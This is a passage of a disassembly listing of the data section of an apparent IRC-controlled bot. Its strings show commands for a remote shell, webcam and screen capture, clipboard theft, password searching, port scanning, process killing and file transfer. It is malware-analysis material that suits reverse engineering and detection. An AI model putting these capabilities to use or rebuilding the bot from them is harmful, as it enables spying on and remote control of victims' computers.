aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_42FAA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_40EE72+5F15o
dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo
aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co
align 4
unk_42FAF4 db 2 ; DATA XREF: sub_40EE72+5E91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_42FB3C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_42FB4C dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_42FB58 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_42FB64 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o
dword_42FB74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5D1Fo
dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
align 4
dword_42FBB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5CFDo
dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h
dd 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
align 4
dword_42FC04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5C76o
dd 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42FC40 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5C62o
dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh
dword_42FC68 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+5C3Do
dd 2029671Fh, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_42FCB0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+5BD2o
dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h
dd 2E7364h
dword_42FCDC dd 627573h ; DATA XREF: sub_40EE72+5BACo
dword_42FCE0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5B5Do
dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh
dword_42FD08 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5B42o
dd 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42FD50 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5AD3o
dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h
dword_42FD78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5A36o
dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h
dword_42FDA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5A04o
dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh
dword_42FDC8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+59AFo
dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh
unk_42FDF0 db 2 ; DATA XREF: sub_40EE72+599Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0
align 10h
dword_42FE40 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_40EE72+592Do
dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h
dd 73696C20h, 2E74h
aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do
align 4
unk_42FE78 db 2 ; DATA XREF: sub_40EE72+58B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunning db 'Already running.',0
align 4
unk_42FEAC db 2 ; DATA XREF: sub_40EE72+5893o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 64h, 6Bh
db 65h ; e
db 79h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_42FEDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+584Ao
dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh
dword_42FF04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4145F9o
dd 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_42FF34 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5780o
dd 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_42FF6C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5764o
dd 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_42FFA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5746o
dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h
dd 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
align 4
unk_42FFE4 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 10h
dword_430020 dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h
; DATA XREF: sub_40EE72+56EDo
dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h, 65686361h
dd 756C6620h, 64656873h
dword_430050 dd 2Eh ; DATA XREF: ___:00427B70o
dword_430054 dd 7A026E02h, 201F6D1Fh ; DATA XREF: sub_40EE72:loc_41454Fo
unk_43005C db 28h ; ( ; DATA XREF: ___:off_427A0Co
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 10h
unk_430090 db 2 ; DATA XREF: sub_40EE72:loc_414548o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_4300CC db 2 ; DATA XREF: sub_40EE72+56CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 10h
dword_430100 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE72+565Fo
dd 2029671Fh, 2BBBB02h
aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0
align 4
dword_43014C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE72+55F4o
dd 2029671Fh, 2BBBB02h
aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0
align 4
unk_430198 db 2 ; DATA XREF: sub_40EE72+5528o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_4301E0 db 2 ; DATA XREF: sub_40EE72+53B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_430228 db 2 ; DATA XREF: sub_40EE72+5287o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyRunni_0 db ' Already running.',0
unk_430254 db 2 ; DATA XREF: sub_40EE72+5271o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0
unk_4302A0 db 2 ; DATA XREF: sub_40EE72+5200o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForPa db ' Searching for password.',0
unk_4302D8 db 2 ; DATA XREF: sub_40EE72:loc_414039o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start scan, port is invalid.',0
align 4
unk_43031C db 2 ; DATA XREF: sub_40EE72+5108o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
dword_430394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4EC8o
dd 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_4303C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4EACo
dd 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_4303F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4E89o
dd 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_430428 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4E6Do
dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h
dword_430450 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413C5Eo
dd 2029671Fh, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_43048C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+4DE5o
dd 2029671Fh, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 10h
dword_4304C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413C11o
dd 2029671Fh, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_4304F8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+4D86o
dd 2029671Fh, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o
; sub_40EE72:loc_414B4Co
align 4
dword_430544 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4C68o
dd 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_430578 db 3 ; DATA XREF: sub_40EE72:loc_413AC5o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0
align 4
unk_4305BC db 3 ; DATA XREF: sub_40EE72+4C49o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5FileOpenedS db '5 File opened: %s',0
align 4
dword_4305F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4C29o
dd 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_43062C dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_413A4Fo
dd 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_430664 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4BB2o
dd 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
unk_430690 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTermin db 'Failed to terminate process: %s',0
unk_4306D0 db 2 ; DATA XREF: sub_40EE72+4B74o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledS db 'Process killed: %s',0
align 4
unk_430704 db 2 ; DATA XREF: sub_40EE72:loc_413990o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTerm_0 db 'Failed to terminate process ID: %s',0
align 4
unk_430748 db 2 ; DATA XREF: sub_40EE72+4B17o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledI db 'Process killed ID: %s',0
align 10h
dword_430780 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72+4AD2o
dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h
dd 0
dword_4307AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4A4Do
dd 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 10h
dword_4307E0 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72+49D2o
dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_430804 db 2 ; DATA XREF: sub_40EE72+49B4o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0
dword_430850 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40EE72+4945o
dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0
dword_430878 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE72:loc_413745o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h
dd 0
unk_4308A4 db 2 ; DATA XREF: sub_40EE72+48C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 69h, 72h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_4308D0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4898o
dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h
dword_4308F8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+488Do
dd 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_430934 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+484Do
dd 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_430964 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4839o
dd 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_430998 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413639o
dd 2029671Fh, 2BBBB02h
aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0
dword_4309E4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_41362Fo
dd 2029671Fh, 2BBBB02h
aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0
align 4
dword_430A34 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+47B3o
dd 2029671Fh, 2BBBB02h
aAmateurVideoSa db ' Amateur video saved to: %s.',0
align 10h
aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o
align 4
dword_430A78 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_41358Do
dd 2029671Fh, 2BBBB02h
aInvalidParam_1 db ' Invalid parameters for webcam capture.',0
align 10h
dword_430AC0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413586o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0 db ' Error while capturing from webcam.',0
align 4
dword_430B04 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+4704o
dd 2029671Fh, 2BBBB02h
aWebcamCaptureS db ' Webcam capture saved to: %s.',0
align 10h
aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo
align 4
dword_430B48 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+467Bo
dd 2029671Fh, 2BBBB02h
aDriverListComp db ' Driver list complete.',0
dword_430B7C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+4645o
dd 2029671Fh, 2BBBB02h
aDriverDSS_ db ' Driver #%d - %s - %s.',0
aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o
dword_430BB8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413450o
dd 2029671Fh, 2BBBB02h
aNoFilenameSpec db ' No filename specified for screen capture.',0
dword_430C00 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413449o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1 db ' Error while capturing screen.',0
dword_430C3C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+45C7o
dd 2029671Fh, 2BBBB02h
aScreenCaptureS db ' Screen capture saved to: %s.',0
align 4
aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o
align 10h
dword_430C80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4576o
dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h
dword_430CA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4532o
dd 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_430CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4516o
dd 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_430D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4496o
dd 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_430D48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+445Fo
dd 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_430D74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4411o
dd 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 10h
dword_430DA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+43A0o
dd 2BBBB02h, 79432020h, 2E656C63h, 0
dword_430DC4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
; sub_40EE72+4E78o
dword_430DD0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+433Fo
dd 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo
align 4
dword_430E08 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4305o
dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h
dd 73h
dword_430E34 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4297o
dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h
dd 7325h
dword_430E60 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo
dword_430E68 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4212o
dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h
dd 7325h
dword_430E94 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o
; sub_40EE72+4CADo
dword_430E9C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_430EA8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o
dword_430EB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_412F8Fo
dd 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_430EF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+40E6o
dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o
align 4
dword_430F24 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_412EBCo
dd 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_430F48 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao
; sub_40EE72+40BDo ...
unk_430F58 db 2 ; DATA XREF: sub_40EE72:loc_412E29o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_430FAC db 2 ; DATA XREF: sub_40EE72+3FADo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
